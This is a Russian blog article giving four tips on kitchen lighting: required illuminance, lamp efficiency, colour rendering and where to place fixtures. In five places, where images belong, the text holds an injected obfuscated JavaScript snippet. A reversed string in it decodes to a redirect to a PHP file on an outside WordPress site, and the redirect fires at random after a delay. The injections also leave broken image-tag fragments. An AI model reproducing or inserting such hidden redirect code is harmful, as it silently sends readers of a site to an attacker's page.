Как реализовать освещение на кухне: 4 совета по выбору и расположению светильников

Приветствую, камрады! Сегодня я хочу рассказать вам, как лучше всего реализовать освещение на кухне. Мы озадачимся соответствием освещенности действующим нормативным документам, поиском экономичных ламп и светильников, а также узнаем, какие зоны помещения требуют наиболее яркого света. Поехали!

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-600×400.jpg» alt=»Освещение кухни в интерьере с использованием светового зонирования.» width=»600″ height=»400″ /> Освещение кухни в интерьере с использованием светового зонирования.

Освещенность: нормативные требования

Основным источником информации для нас послужит СНиП 26-05-95, посвященный требованиям к естественному и искусственному освещению в помещениях различного назначения. В приложении «К» к нему для кухни, столовой и других жилых комнат рекомендована освещенность в 150 люкс (люменов на квадратный метр).

Однако для рабочей зоны кухни (столешницы, на которой вы занимаетесь приготовлением пищи, в том числе нарезкой овощей и мяса) и, в меньшей степени, для обеденной зоны лучше придерживаться норм из другой таблицы того же приложения. В ней приведены нормы освещенности для рабочих зон в зависимости от уровня точности работ, которые в них выполняются.

Рабочая поверхность снабжается собственным освещением.

Для работ средней точности рекомендована освещенность не меньше 400-750 Лк в зависимости от степени контраста объекта выполняемой работы с фоном. Из них общее освещение должно давать не меньше 200 Лк, остальное обеспечивают зональные источники света.

Совет 1: общее освещение должно обеспечивать освещенность не менее 200 Лк, освещение рабочей зоны — не менее 400 Лк. Напомню, что освещенность рассчитывается как удельная светимость всех задействованных источников света на квадратный метр освещаемой поверхности.

Выбор светильников

Перейдем к выбору осветительных приборов. Их предстоит подбирать по нескольким характеристикам.

Экономичность

Вам нравится оплачивать большие счета за электроэнергию? Мне тоже как-то не очень. Поэтому ключевое требование к источникам света — максимальная светоотдача на ватт потребляемой мощности. С этой точки зрения присутствующие на рынке светильники распределяются следующим образом:

Изображение	Источник света и светоотдача
	Лампа накаливания с вакуумной колбой и вольфрамовой спиралью: 10-18 Лм/Вт в зависимости от мощности
	Галогенная лампа отличается от традиционной лампочки Ильича более высокой температурой спирали, что обеспечивает большую светимость при той же мощности (20-27 Лм/Вт)
	Компактные люминесцентные (энергосберегающие) лампочки — до 70 Лм/Вт. Существенная часть потерь приходится на пускорегулирующее устройство (драйвер) лампы, расположенное в ее цоколе.
	Люминесцентные лампы — до 100 Лм/Вт
	Светодиодные светильники для кухни лидируют: приборы на последних поколениях светодиодов отдают до 150 Лм/Вт.

Заметьте, что новейшие светодиоды могут обеспечить светимость до 230 Лм/Вт. Однако часть электроэнергии рассеивается в виде тепла преобразователем питания 220AC/12DC и проводниками.

Совет 2: если для вас приоритетна экономичность освещения, предпочтение следует отдать светодиодным светильникам. Желательно — на светодиодах последних поколений (smd 5630, 5730): они обеспечивают максимальную светоотдачу на единицу потребляемой мощности, поэтому цена люмена в пересчете на ежемесячный счет за электричество будет минимальной.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tochechn-600×450.jpg» alt=»Основное освещение на кухне реализовано точечными светодиодными светильниками в подвесном потолке.» width=»600″ height=»450″ /> Основное освещение на кухне реализовано точечными светодиодными светильниками в подвесном потолке.

Посмотрим, как наши участники выглядят в другой номинации.

Цветопередача

Индексом цветопередачи называется уровень соответствия цвета объекта при освещении исследуемым прибором цвету при идеальном освещении (то есть при ярком дневном свете). Максимальное значение индекса CRI — 100, его уменьшение относительно этого значения указывает на неестественность освещения.

Когда это важно:

• Если вы хотите подчеркнуть оформление кухни картинами, фотографиями, репродукциями;

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tochnaya-tsvetoperedacha-osvescheniya-pozvolit-vam-600×502.jpg» alt=»Точная цветопередача освещения позволит вам дополнить дизайн кухни картинами и репродукциями.» width=»600″ height=»502″ /> Точная цветопередача освещения позволит вам дополнить дизайн кухни картинами и репродукциями.

• Если для вас важен внешний вид подаваемых вами к столу блюд;
• Если кто-то из прекрасной половины вашей семьи имеет обыкновение наносить макияж перед кухонным зеркалом. Неестественное освещение заставит выглядеть натуральными те цвета, которые будут плохо смотреться при дневном свете.

Вот значения индекса цветопередачи у разных осветительных приборов:

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovogo-potoka-dlya-razlichnyh-lamp-v-479×600.jpg» alt=»Значения светового потока для различных ламп в зависимости от их мощности.» width=»479″ height=»600″ /> Значения светового потока для различных ламп в зависимости от их мощности.

Почему у светодиодов столь низкий результат? Потому, что они испускают свет в крайне узком спектральном диапазоне, а дневной свет, напротив, покрывает широкий спектр. Поэтому для получения более или менее естественного освещения приходится прибегать к покрытию корпуса светодиода люминофором, отчасти устраняющим этот недостаток.

Пара тонкостей:

• Среди светодиодных ламп максимальный индекс цветопередачи обеспечивают изделия на светодиодных нитях (так называемые filament) с CRI 75-85;
• Разные варианты цветовой температуры дают разную степень искажения цветов. Наиболее точно соответствует дневному солнечному свету температура 4000 К. Цветовая температура 2700-3000 К близка к спектру ламп накаливания и в наименьшей степени утомляет глаза.

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tovoy-temperatury-600×235.png» alt=»Шкала цветовой температуры.» width=»600″ height=»235″ /> Шкала цветовой температуры.

Совет 3: если для вас важна точная цветопередача основного или дополнительного освещения , очевидная инструкция — приобретите галогенки. Разумный баланс между цветопередачей и экономичностью обеспечивают filament лампы, но они дают рассеянный пучок света с углом, близким к 360 градусам. Если вы планируете монтировать потолочное точечное освещение , вам понадобятся светильники с рефлекторами.

Форма

Совет 4: общее освещение кухни лучше организовать одним или несколькими источниками рассеянного света. Для зонального используйте направленный свет: в противном случае мощность светильника будет расходоваться не на освещение рабочих поверхностей , а на подсветку стен и пола.

Я позволю себе конкретизировать совет на нескольких примерах. Вот как может выглядеть распределение источников света по зонам:

Изображение	Описание
	Центральная люстра будет уместна в качестве основного источника света для маленькой кухни. Разумеется, ее высота не должна мешать самому высокому члену семьи свободно перемещаться.
	Разбросанные по потолку софиты (точечные светильники с рассеянным световым пучком) подойдут на роль общего освещения кухни большой площади.
	Подвесные светильники на небольшой высоте будут очень кстати над обеденной зоной (непосредственно над столом) и над зоной отдыха кухни-гостиной.
	Сверхъяркой светодиодной лентой со светоотдачей от 1000 Лм/м можно осветить рабочую поверхность. Для этого ее монтируют на направленный вниз рассеиватель с теплоотводным алюминиевым профилем.
	Маломощной лентой на светодиодах 3528 с мощностью около 5 Вт/м можно подсветить изнутри навесные шкафы. Она же подойдет для скрытой подсветки потолка в кухне-гостиной, которая будет использоваться во время просмотра фильмов.

У меня освещение кухни-гостиной организовано сравнительно просто:

• Потолочный светильник — светодиодная панель светимостью 3200 люменов, расположенная примерно над обеденным столом. Она обеспечивает освещение предназначенной для отдыха и столовой зон;

Основное освещение в моей кухне-гостиной — мощная светодиодная панель на потолке. Цветовая температура светодиодов — 4000 К, что соответствует нейтральному дневному свету.

• Рабочая зона освещена настенной лампой дневного света мощностью 36 ватт и светимостью около 1500 Лм;

Свет над рабочей зоной — люминесцентная лампа с теплым светом (3000 К).

• Роль скрытой подсветки возложена на настенный светильник, находящийся за стеклянной дверью на выходе в задний двор. В нем установлена компактная люминесцентная лампа мощностью 25 Вт с цоколем Е27. Такую лампу всегда легко найти в продаже и при необходимости заменить своими руками.

Выход во внутренний двор из кухни с подсветкой между дверьми.

Заключение

Надеюсь, что мои советы и мой опыт помогут читателю организовать эффективное и практичное освещение на кухне. Как всегда, дополнительные материалы вы найдете в видео в этой статье. Жду ваших комментариев и дополнений к ней. Успехов, камрады!